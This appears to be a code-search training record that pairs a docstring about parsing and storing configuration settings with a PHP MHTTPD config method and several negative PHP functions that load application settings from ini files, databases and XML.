[ "0.72111094", "0.680433", "0.67340255", "0.6672375", "0.6600745", "0.65656215", "0.6442014", "0.6424496", "0.6264112", "0.6264112", "0.61998695", "0.61642283", "0.61569554", "0.6154951", "0.6102674", "0.6069433", "0.6068933", "0.6043149", "0.6037679", "0.60196555", "0.60084265", "0.5991668", "0.59598213", "0.59598213", "0.5936321", "0.5924356", "0.5921274", "0.5905501", "0.58379096", "0.58243316", "0.580745", "0.5748527", "0.5740967", "0.5740967", "0.5733935", "0.5727299", "0.57118905", "0.5700746", "0.56797683", "0.56725675", "0.5671943", "0.5668427", "0.566314", "0.56489617", "0.5639816", "0.5639816", "0.5639816", "0.5639816", "0.5639816", "0.5639816", "0.5639816", "0.5639816", "0.56292725", "0.5607083", "0.5606116", "0.56020236", "0.5599082", "0.55552745", "0.55512744", "0.5550234", "0.5540073", "0.55368584", "0.55368584", "0.55309093", "0.55196595", "0.54702204", "0.5467808", "0.54656935", "0.5448513", "0.54474664", "0.5439306", "0.54334605", "0.5400584", "0.5400543", "0.5400543", "0.53998655", "0.53998655", "0.53998655", "0.53998655", "0.53914976", "0.538984", "0.5377376", "0.53698987", "0.5366839", "0.53641003", "0.53610605", "0.53608006", "0.53534144", "0.5328428", "0.5313124", "0.5301569", "0.53006333", "0.5296578", "0.5275873", "0.52619046", "0.52568", "0.5252624", "0.52496606", "0.5239955", "0.5234141" ]
0.6977547
1
Protected/Private methods Parses the given configuration settings and stores them locally.
protected static function addConfig($config) { // Set debugging MHTTPD::$debug = $config['Debug']['enabled']; // Convert any config lists to arrays if (!empty($config['Server']['index_files'])) { $config['Server']['index_files'] = listToArray($config['Server']['index_files']); } if (!empty($config['FCGI']['extensions'])) { $config['FCGI']['extensions'] = listToArray($config['FCGI']['extensions']); } MHTTPD::$config = $config; // Set Logger config MHTTPD_Logger::addConfig($config); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function setupConfig()\n {\n registry::getInstance()->set('config', $this->parseConfig());\n }", "private static function readConfig()\n {\n $handler = self::getHandler();\n if (null == $handler->arrConfigGlobal && null == $handler->arrConfigLocal && null == $handler->arrConfigSecure) {\n include dirname(__FILE__) . '/../../config/default.php';\n\n $handler->arrConfigLocal = $APPCONFIG;\n\n $db = Base_Database::getConnection();\n try {\n // This is just for things like API keys, password salts etc.\n // If we have, at a later point, a function to export the database\n // en masse, then we can encrypt all the output from the secureconfig\n // table. It shouldn't overide the global or local config settings\n $sql = \"SELECT * FROM secureconfig\";\n $query = $db->prepare($sql);\n $query->execute();\n $handler->arrConfigSecure = $query->fetchAll(PDO::FETCH_COLUMN|PDO::FETCH_GROUP);\n\n // This is just the regular global configuration settings.\n $sql = \"SELECT * FROM config\";\n $query = $db->prepare($sql);\n $query->execute();\n $handler->arrConfigGlobal = $query->fetchAll(PDO::FETCH_COLUMN|PDO::FETCH_GROUP);\n foreach ($handler->arrConfigGlobal as $key => $value) {\n $handler->arrConfig[$key] = array('isLocal' => false, 'isOverriden' => false, 'value' => $value[0]);\n }\n \n // This is the configuration settings local to this individual machine.\n foreach ($handler->arrConfigLocal as $key => $value) {\n if (isset($handler->arrConfig[$key])) {\n $handler->arrConfig[$key] = array('isLocal' => true, 'isOverriden' => true, 'value' => $value);\n } else {\n $handler->arrConfig[$key] = array('isLocal' => true, 'isOverriden' => false, 'value' => $value);\n }\n }\n } catch(Exception $e) {\n error_log($e);\n die();\n }\n }\n }", "function parseConfig() {\n\n\t\t// Make sure our config file exists\n\t\tif(!file_exists(CONFIGPATH . $this->_options['configFile'])) {\n\t\t\tdie('Unable to find <b>'. CONFIGPATH . $this->_options['configFile'] .'</b> file, please check your application configuration');\n\t\t}\n\n\t\t// Switch the file extension\n\t\tswitch(PPI_Helper::getFileExtension($this->_options['configFile'])) {\n\t\t\tcase 'ini':\n\t\t\t\treturn new PPI_Config_Ini(parse_ini_file(CONFIGPATH . $this->_options['configFile'], true, INI_SCANNER_RAW), $this->_options['configBlock']);\n\n\t\t\tcase 'xml':\n\t\t\t\tdie('Trying to load a xml config file but no parser yet created.');\n\t\t\t\tbreak;\n\n\t\t\tcase 'php':\n\t\t\t\tdie('Trying to load a php config file but no parser yet created.');\n\t\t\t\tbreak;\n\n\t\t}\n\t}", "private function parseSettings($settings) {\n\t\t\tif (!is_numeric($settings['thread_limit']) ||\n\t\t\t\t!is_numeric($settings['random_count']) ||\n\t\t\t\t!is_numeric($settings['recent_count']))\n\t\t\t{\n\t\t\t\terror('Invalid configuration parameters.', true);\n\t\t\t}\n\n\t\t\t$settings['exclude'] = explode(' ', (string) $settings['exclude']);\n\t\t\t$settings['thread_limit'] = intval($settings['thread_limit']);\n\t\t\t$settings['random_count'] = intval($settings['random_count']);\n\t\t\t$settings['recent_count'] = intval($settings['recent_count']);\n\n\t\t\tif ($settings['thread_limit'] < 1 ||\n\t\t\t\t$settings['random_count'] < 1 ||\n\t\t\t\t$settings['recent_count'] < 1)\n\t\t\t{\n\t\t\t\terror('Invalid configuration parameters.', true);\n\t\t\t}\n\n\t\t\treturn $settings;\n\t\t}", "private function parseSettingsForEnvVariables()\n {\n foreach ($this->settings as $key => $value)\n {\n $this->settings[ $key ] = craft()->config->parseEnvironmentString($value);\n }\n }", "private function buildSettings()\n {\n $settings = [];\n foreach($this->settings as $key=>$setting)\n {\n $split = explode(': ', $setting);\n $option = $split[0];\n unset($split[0]);\n $value = implode($split);\n $settings[$option] = $value;\n }\n $this->settings = $settings;\n }", "public function import_settings($settings) {\n\t\t// A bug in UD releases around 1.12.40 - 1.13.3 meant that it was saved in URL-string format, instead of JSON\n\t\t$perhaps_not_yet_parsed = json_decode(stripslashes($settings['settings']), true);\n\n\t\tif (!is_array($perhaps_not_yet_parsed)) {\n\t\t\tparse_str($perhaps_not_yet_parsed, $posted_settings);\n\t\t} else {\n\t\t\t$posted_settings = $perhaps_not_yet_parsed;\n\t\t}\n\n\t\tif (!empty($settings['updraftplus_version'])) $posted_settings['updraftplus_version'] = $settings['updraftplus_version'];\n\n\t\t// Handle the settings name change of WebDAV and SFTP (Apr 2017) if someone tries to import an old settings to this version\n\t\tif (isset($posted_settings['updraft_webdav_settings'])) {\n\t\t\t$posted_settings['updraft_webdav'] = $posted_settings['updraft_webdav_settings'];\n\t\t\tunset($posted_settings['updraft_webdav_settings']);\n\t\t}\n\n\t\tif (isset($posted_settings['updraft_sftp_settings'])) {\n\t\t\t$posted_settings['updraft_sftp'] = $posted_settings['updraft_sftp_settings'];\n\t\t\tunset($posted_settings['updraft_sftp_settings']);\n\t\t}\n\n\t\t// We also need to wrap some of the options in the new style settings array otherwise later on we will lose the settings if this information is missing\n\t\tif (empty($posted_settings['updraft_webdav']['settings'])) $posted_settings['updraft_webdav'] = UpdraftPlus_Storage_Methods_Interface::wrap_remote_storage_options($posted_settings['updraft_webdav']);\n\t\tif (empty($posted_settings['updraft_googledrive']['settings'])) $posted_settings['updraft_googledrive'] = UpdraftPlus_Storage_Methods_Interface::wrap_remote_storage_options($posted_settings['updraft_googledrive']);\n\t\tif (empty($posted_settings['updraft_googlecloud']['settings'])) $posted_settings['updraft_googlecloud'] = UpdraftPlus_Storage_Methods_Interface::wrap_remote_storage_options($posted_settings['updraft_googlecloud']);\n\t\tif (empty($posted_settings['updraft_onedrive']['settings'])) $posted_settings['updraft_onedrive'] = UpdraftPlus_Storage_Methods_Interface::wrap_remote_storage_options($posted_settings['updraft_onedrive']);\n\t\tif (empty($posted_settings['updraft_azure']['settings'])) $posted_settings['updraft_azure'] = UpdraftPlus_Storage_Methods_Interface::wrap_remote_storage_options($posted_settings['updraft_azure']);\n\t\tif (empty($posted_settings['updraft_dropbox']['settings'])) $posted_settings['updraft_dropbox'] = UpdraftPlus_Storage_Methods_Interface::wrap_remote_storage_options($posted_settings['updraft_dropbox']);\n\n\t\techo json_encode($this->save_settings($posted_settings));\n\n\t\tdie;\n\t}", "public function setupConfig()\n {\n\n $settings = settings_m::get()->groupBy(\"setting_key\")->all();\n\n $settings_arr = [];\n foreach($settings as $key => $item)\n {\n $value = $item[0]->setting_value;\n if(in_array($item[0]->setting_type,[\"image\", \"file\"]))\n {\n\n if($item[0]->setting_value > 0)\n {\n $get_path = attachments_m::find($item[0]->setting_value);\n if(is_object($get_path))\n {\n $value = $get_path->path;\n }\n }\n\n }\n\n $settings_arr[\"$key\"] = $value;\n\n }\n\n config()->set('settings_arr', $settings_arr);\n\n #endregion\n\n #region set timezone config\n\n date_default_timezone_set($settings_arr['timezone']);\n\n #endregion\n\n #region set mail config\n\n config([\n \"mail.driver\" => $settings_arr['mail_type'],\n \"mail.host\" => $settings_arr['smtp_host'],\n \"mail.port\" => $settings_arr['smtp_port'],\n \"mail.from.address\" => $settings_arr['email'],\n \"mail.from.name\" => $settings_arr['name'],\n \"mail.encryption\" => $settings_arr['smtp_ssl'],\n \"mail.username\" => $settings_arr['smtp_user'],\n \"mail.password\" => $settings_arr['smtp_pass'],\n ]);\n\n #endregion\n\n }", "protected function loadSettings() {}", "protected function loadSettings() {}", "protected function loadSettings() {}", "private function settingsAnalyzer()\n {\n require '../configuration/app.php';\n\n if ($external_server_settings['mode'] == 'on') {\n return $this->settings[] = $external_server_settings; \n }\n \n return $this->settings[] = $server_settings;\n }", "abstract protected function loadSettings();", "function process_config( $config ) {\n \n // clean form data\n $config->hosts = array_map( 'trim', $config->hosts );\n $config->hosts = array_filter( $config->hosts );\n \n $config->roles = array_intersect_key( $config->roles, $config->hosts );\n \n $config->hosts = array_values( $config->hosts );\n $config->roles = array_values( $config->roles );\n \n $config->roles = array_map('trim', $config->roles );\n \n // set defaults\n $config = $this->set_defaults( $config );\n \n // delete previous hosts and roles configuration from db\n foreach ( range(0, 9) as $i ) {\n unset_config('host'.$i, 'auth/imap_plus');\n unset_config('role'.$i, 'auth/imap_plus');\n }\n \n // save to db\n foreach ( $config->hosts as $key=>$val ) {\n set_config( 'host'.$key, $val, 'auth/imap_plus' );\n set_config( 'role'.$key, $config->roles[$key], 'auth/imap_plus' );\n }\n \n set_config('type', $config->type, 'auth/imap_plus');\n set_config('port', $config->port, 'auth/imap_plus');\n set_config('changepasswordurl', $config->changepasswordurl, 'auth/imap_plus');\n \n return true;\n }", "function processConfiguration() ;", "public static function parseSettings()\n\t{\n\t\t$settings = unserialize($GLOBALS['TYPO3_CONF_VARS']['EXT']['extConf']['sd_googlemaps']);\n\n\t\tif (!is_array($settings)) {\n\t\t\t$settings = [];\n\t\t}\n\t\treturn $settings;\n\t}", "public function set_config_settings()\r\n\t{\t\r\n\t\t// Check the config table exists in the config file and is enabled.\r\n\t\tif ($this->get_enabled_status('config'))\r\n\t\t{\r\n\t\t\tif ($config_data = $this->get_database_config_data())\r\n\t\t\t{\r\n\t\t\t\t// Loop through all the returned defaults and convert the database column names to cart session names.\r\n\t\t\t\tforeach($this->flexi->cart_database['configuration']['columns'] as $column_name => $column_alias)\r\n\t\t\t\t{\r\n\t\t\t\t\tif (isset($config_data[$column_alias]))\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t$config_data[$column_name] = $config_data[$column_alias];\r\n\t\t\t\t\t\tunset($config_data[$column_alias]);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t// Config file hard-coded settings.\r\n\t\t$config_defaults = $this->flexi->cart_defaults['configuration'];\r\n\r\n\t\t// Loop through the config hard-coded default settings and apply them to any config settings without a value from the database lookup.\r\n\t\tforeach($config_defaults as $setting_name => $setting_value)\r\n\t\t{\r\n\t\t\tif (! isset($config_data[$setting_name]))\r\n\t\t\t{\r\n\t\t\t\t$config_data[$setting_name] = $config_defaults[$setting_name];\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\t// Group non boolean config value types together.\r\n\t\t$non_boolean_columns = array('order_number_prefix', 'order_number_suffix', 'weight_type', 'minimum_order', 'reward_point_multiplier', 'reward_voucher_multiplier', \r\n\t\t\t'reward_point_to_voucher_ratio', 'reward_point_days_pending', 'reward_point_days_valid', 'reward_voucher_days_valid', 'quantity_decimals', 'weight_decimals');\r\n\t\t\r\n\t\t// Ensure the data is stored in the correct format type.\r\n\t\tforeach($config_data as $column => $value)\r\n\t\t{\r\n\t\t\t// Ensure non boolean values are stored as their entered value.\r\n\t\t\tif (in_array($column, $non_boolean_columns))\r\n\t\t\t{\r\n\t\t\t\t$config_data[$column] = (string)$config_data[$column];\r\n\t\t\t}\r\n\t\t\t// All others are saved as boolean.\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\t$config_data[$column] = (bool)$config_data[$column];\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\t// Set configuration data to cart session settings.\r\n\t\t$this->flexi->cart_contents['settings']['configuration'] = $config_data;\r\n\r\n\t\t// Set an empty cart id and order number placeholder.\r\n\t\t$this->flexi->cart_contents['settings']['configuration']['cart_data_id'] = FALSE;\r\n\t\t$this->flexi->cart_contents['settings']['configuration']['order_number'] = FALSE;\r\n\t\t\r\n\t\treturn TRUE;\r\n\t}", "private function load_settings() {\n\t\t\n\t}", "private function readConfig(){\n\n\t\t$this->_ini_array = parse_ini_file(CONFIG.'system.ini');\n\n\t\t$this->_host =\t$this->_ini_array['db_host'];\n\t\t$this->_username = $this->_ini_array['db_username'];\n\t\t$this->_password = $this->_ini_array['db_password'];\n\t\t$this->_database = $this->_ini_array['db_database'];\n\t\n\t\t$this->_log_enabled=$this->_ini_array['log_enabled'];\n\t\t$this->_log_level=$this->_ini_array['log_level'];\n\t\t$this->_log_file_path=$this->_ini_array['log_path'];\n\t\n\n\t\t$this->_lang_default=$this->_ini_array['lang_default'];\n\n\t}", "private function parseConfig(){\n\t\t\treturn parse_ini_file(BASE_PATH . 'config' . DIRECTORY_SEPARATOR . 'config.ini');\n\t\t}", "function LoadSettings()\n\t{\n\t\t$stash = IEM_InterspireStash::getInstance();\n\n\t\t/**\n\t\t * Trigger event\n\t\t */\n\t\t\t$tempEventData = new EventData_IEM_SETTINGSAPI_LOADSETTINGS();\n\t\t\t$tempEventData->data = $this;\n\t\t\t$tempEventData->trigger();\n\n\t\t\tunset($tempEventData);\n\t\t/**\n\t\t * -----\n\t\t */\n\n\t\t$areas = $this->Areas;\n\t\tunset($areas['config']);\n\t\tunset($areas['whitelabel']);\n\n\t\t// ----- Obtain the settings value either from the database OR from the stash (ie. cache)\n\t\t\tdo {\n\t\t\t\t// Check if the settings is available in our cache\n\t\t\t\tif ($stash->exists('IEM_SYSTEM_SETTINGS')) {\n\t\t\t\t\t$settings = $stash->read('IEM_SYSTEM_SETTINGS');\n\n\t\t\t\t\tif (!empty($settings) && is_array($settings)) {\n\t\t\t\t\t\tforeach ($settings as $area => $aravalue) {\n\t\t\t\t\t\t\t/**\n\t\t\t\t\t\t\t * TODO refactor\n\t\t\t\t\t\t\t * As it stands we are defining constants dynamically. This is a bad programming practice.\n\t\t\t\t\t\t\t * Once you have time, you might want to consider refactoring this code.\n\t\t\t\t\t\t\t *\n\t\t\t\t\t\t\t * As you may have notice, this is a duplicated code\n\t\t\t\t\t\t\t * (see the codes that fetches this value from database below).\n\t\t\t\t\t\t\t */\n\t\t\t\t\t\t\tif (!defined('SENDSTUDIO_' . $area)) {\n\t\t\t\t\t\t\t\tdefine('SENDSTUDIO_' . $area, $aravalue);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\t\t\t\t// ------------------------------------------------------------------------\n\t\t\t\t// The settings cannot be found in stash cache,\n\t\t\t\t// so we will need to load it from database and put them in our cache\n\t\t\t\t// ------------------------------------------------------------------------\n\t\t\t\t\t$result = $this->Db->Query(\"SELECT * FROM \" . SENDSTUDIO_TABLEPREFIX . \"config_settings\");\n\n\t\t\t\t\t$settings = array();\n\t\t\t\t\twhile ($row = $this->Db->Fetch($result)) {\n\t\t\t\t\t\t$area = $row['area'];\n\t\t\t\t\t\t// eh? How did a config setting get in the db without it being in the settings api??\n\t\t\t\t\t\tif (!in_array($area, $areas)) {\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// this is for the 'upgrade' process - which moves them from the config file to being in the database.\n\t\t\t\t\t\tif (!defined('SENDSTUDIO_' . $area)) {\n\t\t\t\t\t\t\t/**\n\t\t\t\t\t\t\t * @todo Remove hacks like these and refactor code that causes us to use these hacks!!!\n\t\t\t\t\t\t\t */\n\t\t\t\t\t\t\tif ($area == 'CRON_TRIGGEREMAILS_P' && $row['areavalue'] == '') {\n\t\t\t\t\t\t\t\t$row['areavalue'] = 1440;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t/**\n\t\t\t\t\t\t\t * TODO refactor\n\t\t\t\t\t\t\t * As it stands we are defining constants dynamically. This is a bad programming practice.\n\t\t\t\t\t\t\t * Once you have time, you might want to consider refactoring this code.\n\t\t\t\t\t\t\t */\n\t\t\t\t\t\t\tdefine('SENDSTUDIO_' . $area, $row['areavalue']);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t$k = array_search($area, $areas);\n\t\t\t\t\t\tunset($areas[$k]);\n\n\t\t\t\t\t\t$settings[$area] = $row['areavalue'];\n\t\t\t\t\t}\n\n\t\t\t\t\t$this->Db->FreeResult($result);\n\n\n\n\t\t\t\t\t// Cache the settings\n\t\t\t\t\t$stash->write('IEM_SYSTEM_SETTINGS', $settings, true);\n\t\t\t\t// ------------------------------------------------------------------------\n\t\t\t} while(false);\n\t\t// -----\n\n\n\t\t// ----- Default settings\n\t\t\t// \"Multiple unsubscribe\" feature\n\t\t\tif (!defined('SENDSTUDIO_USEMULTIPLEUNSUBSCRIBE')) {\n\t\t\t\tdefine('SENDSTUDIO_USEMULTIPLEUNSUBSCRIBE', 0);\n\t\t\t}\n\n\t\t\t// As a default you do not want contacts to be able to modify their own email\n\t\t\tif (!defined('SENDSTUDIO_CONTACTCANMODIFYEMAIL')) {\n\t\t\t\tdefine('SENDSTUDIO_CONTACTCANMODIFYEMAIL', '0');\n\t\t\t}\n\n\t\t\t// Number of seconds to sleep when login failed\n\t\t\tif (!defined('SENDSTUDIO_SECURITY_WRONG_LOGIN_WAIT')) {\n\t\t\t\tdefine('SENDSTUDIO_SECURITY_WRONG_LOGIN_WAIT', 5);\n\t\t\t}\n\n\t\t\t// Number of attempts threshold\n\t\t\tif (!defined('SENDSTUDIO_SECURITY_WRONG_LOGIN_THRESHOLD_COUNT')) {\n\t\t\t\tdefine('SENDSTUDIO_SECURITY_WRONG_LOGIN_THRESHOLD_COUNT', 5);\n\t\t\t}\n\n\t\t\t// Number of seconds that wrong login threshold is checking for\n\t\t\t// (ie. 5 failed log in attempts in 300 seconds)\n\t\t\tif (!defined('SENDSTUDIO_SECURITY_WRONG_LOGIN_THRESHOLD_DURATION')) {\n\t\t\t\tdefine('SENDSTUDIO_SECURITY_WRONG_LOGIN_THRESHOLD_DURATION', 300);\n\t\t\t}\n\n\t\t\t// Ban duration\n\t\t\tif (!defined('SENDSTUDIO_SECURITY_BAN_DURATION')) {\n\t\t\t\tdefine('SENDSTUDIO_SECURITY_BAN_DURATION', 300);\n\t\t\t}\n\n\t\t\t// Autoresponders takes credit\n\t\t\tif (!defined('SENDSTUDIO_CREDIT_INCLUDE_AUTORESPONDERS')) {\n\t\t\t\tdefine('SENDSTUDIO_CREDIT_INCLUDE_AUTORESPONDERS', 1);\n\t\t\t}\n\n\t\t\t// Trigger takes credit\n\t\t\tif (!defined('SENDSTUDIO_CREDIT_INCLUDE_TRIGGERS')) {\n\t\t\t\tdefine('SENDSTUDIO_CREDIT_INCLUDE_TRIGGERS', 1);\n\t\t\t}\n\n\t\t\t// Whether or not to enable credit warnings\n\t\t\tif (!defined('SENDSTUDIO_CREDIT_WARNINGS')) {\n\t\t\t\tdefine('SENDSTUDIO_CREDIT_WARNINGS', 1);\n\t\t\t}\n\n\t\t\t// Triggeremails_P is defaulted to run every 24 hours\n\t\t\tif (!defined('SENDSTUDIO_CRON_TRIGGEREMAILS_P')) {\n\t\t\t\tdefine('SENDSTUDIO_CRON_TRIGGEREMAILS_P', 1440);\n\t\t\t}\n\n\t\t\t// Maintenance will default to run once a day\n\t\t\tif (!defined('SENDSTUDIO_CRON_MAINTENANCE')) {\n\t\t\t\tdefine('SENDSTUDIO_CRON_MAINTENANCE', 1440);\n\t\t\t}\n\t\t// -----\n\n\n\t\t// ------------------------------------------------------------------------------------------------------------------\n\t\t// There is an issue with MySQL database connection whereby most server had it's connection set to latin1\n\t\t// The problem lies when we defaulted our database to UTF8 and the application to use UTF8, non standard\n\t\t// English characters will be transformed to latin1, but stored as UTF8 in the database\n\t\t// See Issue 4807 in RedMine.\n\t\t//\n\t\t// A fix proved to be a bit difficult, assuming that there will be alot of people that were affected by this issue.\n\t\t// Once we set the characterset connection to UTF8, non-English characterset will be BROKEN.\n\t\t//\n\t\t// To make sure that only NEW installation uses this fix, the settings DATABASE_UTF8PATCH is introduced.\n\t\t// It will be set to 1 for newer install, but set to 0 for existing install.\n\t\t//\n\t\t// Once we work out the details for converting existing data out, we can safely remove this.\n\t\t// ------------------------------------------------------------------------------------------------------------------\n\t\t\tif (!defined('SENDSTUDIO_DATABASE_UTF8PATCH')) {\n\t\t\t\tdefine('SENDSTUDIO_DATABASE_UTF8PATCH', '0');\n\t\t\t}\n\t\t// ------------------------------------------------------------------------------------------------------------------\n\n\n\t\t/**\n\t\t * Addons might define their own things.\n\t\t * To make everything work we need to go through the left over $areas items to define them.\n\t\t * If we don't do this, then we'd get errors when we try to view the settings page\n\t\t * as the option/variable would not be defined yet.\n\t\t *\n\t\t * Set them to null by default.\n\t\t */\n\t\tforeach ($areas as $area) {\n\t\t\t$name = 'SENDSTUDIO_' . $area;\n\t\t\tif (!defined($name)) {\n\t\t\t\tdefine($name, null);\n\t\t\t}\n\t\t}\n\n\t\t/**\n\t\t * Load the whitelabel settings\n\t\t */\n\t\t$this->LoadWhiteLabelSettings();\n\t\t/**\n\t\t * -----\n\t\t */\n\n\t\t$this->CheckCron();\n\t}", "public function loadConfig()\n {\n $this->setGlobalStoreOfShopNumber($this->getShopNumber());\n $this->loadArray($this->toArray());\n $this->setExportTmpAndLogSettings();\n }", "function load_settings(){\n $ret = array();\n $c = $this->_files->readfile($this->_settings_file);\n if( $c !== false ){\n $c = explode( \"\\n\", eol($c));\n foreach( $c as $line ){\n //ignore a lot of stuff - quick hack for now\n if(substr($line, 0, 1) != '#'\n && trim($line) != ''\n && substr($line, 0, 4) != 'LANG'\n && substr($line, 0, 1) != '#'\n && substr($line, 0, 11) != 'export LANG'\n && substr($line, 0, 4) != 'bold'\n && substr($line, 0, 6) != 'normal' ){\n $set = explode('=', $line);\n $ret[$set[0]] = trim($set[1], '\"\\''); //this should now be one setting per key with setting name as key\n }\n }\n\n if( count($ret) > 0 ){\n $_SESSION['settings.conf'] = $ret;\n return $_SESSION['settings.conf'];\n }\n }else{\n unset($_SESSION['settings.conf']);\n return false;\n }\n }", "function loadSettings($config_file) {\n\n\t\tif ($settings = $this->xml_parser->parseXml($config_file, true, CONFIG_UTF8ENCODE)) {\n\t\t\t// read the XML structure into an array\n\t\t\t$aseco = $settings['SETTINGS']['XASECO2'][0];\n\n\t\t\t// read settings and apply them\n\t\t\t$this->chat_colors = $aseco['COLORS'][0];\n\t\t\t$this->chat_messages = $aseco['MESSAGES'][0];\n\t\t\t$this->masteradmin_list = $aseco['MASTERADMINS'][0];\n\t\t\tif (!isset($this->masteradmin_list) || !is_array($this->masteradmin_list))\n\t\t\t\ttrigger_error('No MasterAdmin(s) configured in config.xml!', E_USER_ERROR);\n\n\t\t\t// check masteradmin list consistency\n\t\t\tif (empty($this->masteradmin_list['IPADDRESS'])) {\n\t\t\t\t// fill <ipaddress> list to same length as <tmlogin> list\n\t\t\t\tif (($cnt = count($this->masteradmin_list['TMLOGIN'])) > 0)\n\t\t\t\t\t$this->masteradmin_list['IPADDRESS'] = array_fill(0, $cnt, '');\n\t\t\t} else {\n\t\t\t\tif (count($this->masteradmin_list['TMLOGIN']) != count($this->masteradmin_list['IPADDRESS']))\n\t\t\t\t\ttrigger_error(\"MasterAdmin mismatch between <tmlogin>'s and <ipaddress>'s!\", E_USER_WARNING);\n\t\t\t}\n\n\t\t\t// set admin lock password\n\t\t\t$this->settings['lock_password'] = $aseco['LOCK_PASSWORD'][0];\n\t\t\t// set cheater action\n\t\t\t$this->settings['cheater_action'] = $aseco['CHEATER_ACTION'][0];\n\t\t\t// set script timeout\n\t\t\t$this->settings['script_timeout'] = $aseco['SCRIPT_TIMEOUT'][0];\n\t\t\t// set minimum number of records to be displayed\n\t\t\t$this->settings['show_min_recs'] = $aseco['SHOW_MIN_RECS'][0];\n\t\t\t// show records before start of map?\n\t\t\t$this->settings['show_recs_before'] = $aseco['SHOW_RECS_BEFORE'][0];\n\t\t\t// show records after end of map?\n\t\t\t$this->settings['show_recs_after'] = $aseco['SHOW_RECS_AFTER'][0];\n\t\t\t// show MX world record?\n\t\t\t$this->settings['show_mxrec'] = $aseco['SHOW_MXREC'][0];\n\t\t\t// show played time at end of map?\n\t\t\t$this->settings['show_playtime'] = $aseco['SHOW_PLAYTIME'][0];\n\t\t\t// show current map at start?\n\t\t\t$this->settings['show_curmap'] = $aseco['SHOW_CURMAP'][0];\n\t\t\t// set default filename for readmaplist/writemaplist\n\t\t\t$this->settings['default_maplist'] = $aseco['DEFAULT_MAPLIST'][0];\n\t\t\t// set minimum number of ranked players in a clan to be included in /topclans\n\t\t\t$this->settings['topclans_minplayers'] = $aseco['TOPCLANS_MINPLAYERS'][0];\n\t\t\t// set multiple of win count to show global congrats message\n\t\t\t$this->settings['global_win_multiple'] = ($aseco['GLOBAL_WIN_MULTIPLE'][0] > 0 ? $aseco['GLOBAL_WIN_MULTIPLE'][0] : 1);\n\t\t\t// timeout of the message window in seconds\n\t\t\t$this->settings['window_timeout'] = $aseco['WINDOW_TIMEOUT'][0];\n\t\t\t// set filename of admin/operator/ability lists file\n\t\t\t$this->settings['adminops_file'] = $aseco['ADMINOPS_FILE'][0];\n\t\t\t// set filename of banned IPs list file\n\t\t\t$this->settings['bannedips_file'] = $aseco['BANNEDIPS_FILE'][0];\n\t\t\t// set filename of blacklist file\n\t\t\t$this->settings['blacklist_file'] = $aseco['BLACKLIST_FILE'][0];\n\t\t\t// set filename of guestlist file\n\t\t\t$this->settings['guestlist_file'] = $aseco['GUESTLIST_FILE'][0];\n\t\t\t// set filename of map history file\n\t\t\t$this->settings['maphist_file'] = $aseco['MAPHIST_FILE'][0];\n\t\t\t// set minimum admin client version\n\t\t\t$this->settings['admin_client'] = $aseco['ADMIN_CLIENT_VERSION'][0];\n\t\t\t// set minimum player client version\n\t\t\t$this->settings['player_client'] = $aseco['PLAYER_CLIENT_VERSION'][0];\n\t\t\t// set default rounds points system\n\t\t\t$this->settings['default_rpoints'] = $aseco['DEFAULT_RPOINTS'][0];\n\n\t\t\t// set windows style (none = Card)\n\t\t\t$this->settings['window_style'] = $aseco['WINDOW_STYLE'][0];\n\t\t\tif ($this->settings['window_style'] == '')\n\t\t\t\t$this->settings['window_style'] = 'Card';\n\n\t\t\t// set admin panel (none = no panel)\n\t\t\t$this->settings['admin_panel'] = $aseco['ADMIN_PANEL'][0];\n\t\t\t// set donate panel (none = no panel)\n\t\t\t$this->settings['donate_panel'] = $aseco['DONATE_PANEL'][0];\n\t\t\t// set records panel (none = no panel)\n\t\t\t$this->settings['records_panel'] = $aseco['RECORDS_PANEL'][0];\n\t\t\t// set vote panel (none = no panel)\n\t\t\t$this->settings['vote_panel'] = $aseco['VOTE_PANEL'][0];\n\n\t\t\t// set panel background (none = Card)\n\t\t\t$this->settings['panel_bg'] = $aseco['PANEL_BG'][0];\n\t\t\tif ($this->settings['panel_bg'] == '')\n\t\t\t\t$this->settings['panel_bg'] = 'PanelBGCard';\n\n\t\t\t// display welcome message as window ?\n\t\t\tif (strtoupper($aseco['WELCOME_MSG_WINDOW'][0]) == 'TRUE') {\n\t\t\t\t$this->settings['welcome_msg_window'] = true;\n\t\t\t} else {\n\t\t\t\t$this->settings['welcome_msg_window'] = false;\n\t\t\t}\n\n\t\t\t// log all chat, not just chat commands ?\n\t\t\tif (strtoupper($aseco['LOG_ALL_CHAT'][0]) == 'TRUE') {\n\t\t\t\t$this->settings['log_all_chat'] = true;\n\t\t\t} else {\n\t\t\t\t$this->settings['log_all_chat'] = false;\n\t\t\t}\n\n\t\t\t// show timestamps in /chatlog, /pmlog & /admin pmlog ?\n\t\t\tif (strtoupper($aseco['CHATPMLOG_TIMES'][0]) == 'TRUE') {\n\t\t\t\t$this->settings['chatpmlog_times'] = true;\n\t\t\t} else {\n\t\t\t\t$this->settings['chatpmlog_times'] = false;\n\t\t\t}\n\n\t\t\t// show records range?\n\t\t\tif (strtoupper($aseco['SHOW_RECS_RANGE'][0]) == 'TRUE') {\n\t\t\t\t$this->settings['show_recs_range'] = true;\n\t\t\t} else {\n\t\t\t\t$this->settings['show_recs_range'] = false;\n\t\t\t}\n\n\t\t\t// show records in message window?\n\t\t\tif (strtoupper($aseco['RECS_IN_WINDOW'][0]) == 'TRUE') {\n\t\t\t\t$this->settings['recs_in_window'] = true;\n\t\t\t} else {\n\t\t\t\t$this->settings['recs_in_window'] = false;\n\t\t\t}\n\n\t\t\t// show round reports in message window?\n\t\t\tif (strtoupper($aseco['ROUNDS_IN_WINDOW'][0]) == 'TRUE') {\n\t\t\t\t$this->settings['rounds_in_window'] = true;\n\t\t\t} else {\n\t\t\t\t$this->settings['rounds_in_window'] = false;\n\t\t\t}\n\n\t\t\t// add random filter to /admin 